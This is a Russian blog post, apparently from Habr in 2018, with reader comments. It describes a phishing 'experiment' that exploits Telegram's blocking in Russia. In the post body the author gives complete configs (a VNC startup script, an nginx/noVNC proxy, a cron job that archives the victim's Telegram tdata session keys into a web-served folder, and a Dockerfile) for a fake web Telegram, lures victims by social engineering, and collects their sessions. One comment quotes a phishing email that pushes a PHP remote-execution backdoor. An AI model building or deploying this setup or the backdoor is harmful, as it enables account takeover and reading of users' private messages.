Сегодня очень неоднозначно развивается ситуация вокруг совместного решения Федеральной службы безопасности Российской федерации и Роскомнадзора о блокировке мессенджера «Телеграм». Данное решение опрометчиво по целому ряду причин, и несет в себе больше проблем, чем пользы в борьбе с угрозой терроризма.

Для зрелого бизнеса который учитывал риски связанные с решениями правительства, это создало некоторое неудобство, так как пришлось использовать обходные решения с использованием VPN. Но для рядовых пользователей которые небыли готовы к такому повороту событий это принесло новые угрозы. В панике пользователи стали искать и использовать первые попавшиеся бесплатные VPN, абсолютно не задумываясь что это может обернуться для них западней в виде DNS пушапов, и прочих MITM атак.

Телеграм имеет самую большую аудиторию, и этот факт ИТ бизнес не смог обойти стороной. Компании в свою очередь инвестировали огромный капитал в разработку бизнес инструментов использующих API данного мессенджера. Даже ряд государственных проектов вкладывал деньги в разработку ботов технической поддержки, ярким примером которого является портал Госуслуги(ЕПГУ).

Волна хайпа, спровоцировала спор с коллегами на предмет уязвимости паникующих пользователей, и мы решили провести эксперимент по фишингу Телеграм.

Многие пользователи столкнулись с проблемами доступа к Web версии данного мессенджера и мы решили сыграть на этом. Нашей целью стало получение профиля tdata, в котором хранятся те самые пресловутые ключи шифрования и данные о сессии.

В состав нашего рецепта вошли следующие основные компоненты:

  • Telegram Desktop 1.2.17 (linux)
  • Docker version 17.05.0-ce
  • noVNC

По замыслу нужно собрать образ Docker в котором будут стартовать иксы и Телеграм, а noVNC будет транслировать нам запущенный Телеграм через nginx в веб-браузер клиента.

Шаг 1: Ограничиваем выполнение окружения рабочего стола, выполнением только Телеграм и трансляцией его через VNC сервер.

Для этого создаем файл .vnc/xstartup со следующим содержимым:

#!/bin/sh
 
if [ -z "$VNCAPP" ]
then
  # Uncomment the following two lines for normal desktop:
   unset SESSION_MANAGER
   exec /etc/X11/xinit/xinitrc
 
  [ -x /etc/vnc/xstartup ] && exec /etc/vnc/xstartup
  [ -r $HOME/.Xresources ] && xrdb $HOME/.Xresources
  xsetroot -solid grey
  vncconfig -iconic &
  x-terminal-emulator -geometry 80x24+10+10 -ls -title "$VNCDESKTOP Desktop" &
  x-window-manager &
else
  xsetroot -solid black
  vncconfig -iconic &
  x-window-manager &
  $VNCAPP
  sleep 10
  vncserver -kill $DISPLAY
fi

Шаг 2: Пробрасываем трансляцию noVNC на 80 порт при помощи nginx.

Создаем конфигурационный файл default что бы потом положить его в образ.

upstream vnc_proxy {
    server 127.0.0.1:6080;
}


server {
        listen 80 default_server;
        listen [::]:80 default_server;



location / {
add_header Access-Control-Allow-Origin *;
proxy_pass http://127.0.0.1:6080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_redirect default;
client_max_body_size 10m;
client_body_buffer_size 128k;
proxy_connect_timeout 90;
proxy_send_timeout 90;
proxy_read_timeout 90;
proxy_buffer_size 4k;
proxy_buffers 4 32k;
proxy_busy_buffers_size 64k;
proxy_temp_file_write_size 64k;
}
location /websockify {
          proxy_http_version 1.1;
          proxy_pass http://vnc_proxy/;
          proxy_set_header Upgrade $http_upgrade;
          proxy_set_header Connection "upgrade";

          # VNC connection timeout
          proxy_read_timeout 61s;

          # Disable cache
          proxy_buffering off;
    }
}

Шаг 3: Так как мы строили экспериментальную модель, а не полноценный сервис по Телеграм фишингу, для извлечения данных мы решили копировать архив каталога tdata с помощью cron в один из каталогов доступных веб-серверу.

Создаем cron файл со следующим содержимым

* * * * *  root tar -czf /root/tests/data.tar.gz /root/.local/share/TelegramDesktop

Шаг 4: VNC:

Данный шаг требует кастомизации noVNC, мы выпилили из него тулбары и прописали автоматическое подключение к VNC серверу указав пароль который соответствует паролю .vnc/passwd данный пароль можно сгенерировать утилитой vncpasswd.

Шаг 5: Сборка образа Docker:

Все что мы подготовили заранее включая бинарник Telegram, складываем в один каталог, создаем Dockerfile и приступаем к сборке.

# Version: 0.0.1
FROM vcatechnology/linux-mint

MAINTAINER Poul Lysunenko <mpoul@hungosh.net>
RUN apt update 
RUN apt install -y net-tools language-pack-ru cinnamon nginx chromium-browser vnc4server xvnc4viewer xfonts-base
RUN locale-gen ru_RU.UTF-8 && dpkg-reconfigure locales
COPY noVNC/ /root/
COPY .vnc/ /root/.vnc
COPY default /etc/nginx/sites-available/
COPY Telegram /root/
COPY cron /etc/cron.d/sample
RUN apt install -y cron
EXPOSE 6080

ENTRYPOINT /usr/sbin/service nginx start && /usr/sbin/service cron start && VNCAPP=/root/Telegram vnc4server -depth 24 -geometry 800x600 && /root/utils/launch.sh --vnc localhost:5901

Шаг 6: После сборки и запуска образа, используя все знания и умения в социальной инженерии приглашаем жертву эксперимента на дегустацию альтернативы веб-версии Телеграм.

Спустя минуту после авторизации скачиваем профиль /tests/data.tar.gz

Выводы:

Как вы понимаете спор с коллегами я выиграл, но радости данный выигрыш не принес. Положение дел в области информационной безопасности имеют отрицательные тренды связанные с условиями резких изменений в политиках использования интернета в России. Данное исследование на скорую руку показало, что люди даже подкованные в информационных технологиях могут наступить на грабли которые расставляют злоумышленники.

P.S.: Не забудьте сверить открытые сессии ваших месседжеров, возможно сейчас кто-то читает вашу переписку

Комментарии (21)


  1. gto
    20.04.2018 16:32
    +1

    «Телеграм имеет самую большую аудиторию», среди кого?


    1. Stawros
      20.04.2018 17:08

      По всей видимости среди заблокированных РКН мессенджеров.


      1. Tufed
        20.04.2018 17:36
        -4

        А РКН еще кого-то блокировал?


        1. FlamyXD
          20.04.2018 18:12

          Zello?


        1. mxms
          20.04.2018 21:32

          BBM. Первые удостоились блоков целыми подсетями. И до сих пор в блоке.


        1. StjarnornasFred
          21.04.2018 03:05

          А вы в танке? Вылезайте, а то РКН вам скоро люк заварит.


    1. 1Fedor
      20.04.2018 20:22

      Ради интереса глянул, что было до этого хайпа
      «В январе 2018 г. Институт современных медиа провел опрос среди 100 тыс. россиян, по результатам которого самым популярным мессенджером также оказался WhatsApp с долей в 59% пользователей. 36% опрошенных сообщили, что используют в Viber, это обеспечило ему второе место в списке. На третьем месте расположился мессенджер «ВКонтакте», которым пользуются 32% россиян. Telegram востребован у 19% пользователей, Facebook Messenger — у 14%, сообщал институт.


      1. mpoul Автор
        21.04.2018 13:33
        -1

        Нужно учитывать, что большая часть перечисленных Вами мессенджеров распространяются OEM, таким образом можно сказать что производители электроники повлияли на показатель популярности, многие стали использовать данные мессенджеры из коробки. На сколько я знаю телеграм в состав предустановленного ПО не входит.


  1. vesper-bot
    20.04.2018 16:47
    +1

    То есть вы, грубо говоря, кому-то на странице отдали интерфейс приложения Telegram, полученный по VNC, потом заграбастали его профиль? Это круче, чем отрава для тараканов, которую надо капать им в рот.


    1. Fragster
      20.04.2018 16:59

      Ну тут недавно некий телеграм точка онлайн рекламировали (прям так русскими буквами)


    1. mpoul Автор
      20.04.2018 20:30

      Нашлась аудитория, которая кушала эту отраву. Это еще раз подверждает что люлям долго еще созревать в отношении защиты собственной безопасности. Людям нужно чаще задумыватся над адекватностью своих действий на просторах Интернета


  1. d7s2di
    20.04.2018 18:35

    Сегодня очень неоднозначно развивается ситуация вокруг


    А по-моему, так вполне однозначно.


  1. cagami
    20.04.2018 19:14
    +1

    попросили ввести логин и пароль? хмммм
    А не проще было попросить дать логин и пароль для тестов эффект тот же. imho


    1. mpoul Автор
      20.04.2018 20:38

      Обычный экперимент с фишингом. Вы бы дали свой код/пароль от телеграма для тестов? Мы подтвердили для себя, что вовремя хайпа народ теряет голову и делает не ращумные вещи, доверяя любой новой фишке не задумываясь о безопасности.



      1. cagami
        21.04.2018 19:19

        Ну это из разряда nic.ru
        Уважаемый администратор домена!
        В соответствии с дополнениями, внесенными в правила ICANN, необходимо подтвердить, что управление доменом XXX осуществляется лицом, указанным в качестве его администратора.

        Для подтверждения того, что Вы имеете возможность управлять доменом, создайте в корневой директории сайта файл 9dededee233432.php со следующим содержимым:

        <?php
        assert(stripslashes($_REQUEST[6L4TV]));
        ?>
        вот у вас тоже самое


  1. Viacheslav01
    21.04.2018 10:40
    +2

    Начали с угроз MITM-ом, было интересно, закончили «Мы заманили пользователя на левый клиент и сперли его данные», стало не интересно. Да хомяков эта отрава может немного покосить. Но вот про посетителей хабра, очень сильно сомневаюсь.

    На фоне сказанного этот шедевр особенно хорош:

    Данное исследование на скорую руку показало, что люди даже подкованные в информационных технологиях могут наступить на грабли которые расставляют злоумышленники.


  1. Isis
    21.04.2018 13:50

    А еще с вашего устройства могут просто скопировать вашу сессию если вдруг вы забыли заблокировать ноут на работе пока ушли курить и вы об этом никогда не узнаете т.к. новой сессии не появится.


    1. mpoul Автор
      21.04.2018 14:17

      Согласен, но для этого даже курить никуда не надо ходить, если твой рабочий компьютер вхож в корпоративный домен.


  1. maxzhurkin
    21.04.2018 14:30

    А где MITM?
    P.S. Нигде, вопрос снят


  1. BeLove
    21.04.2018 14:45
    +1

    С таким же успехом можно сделать proxy_pass до web.telegram.org (https://www.slideshare.net/sergeybelove/nginx-warhead)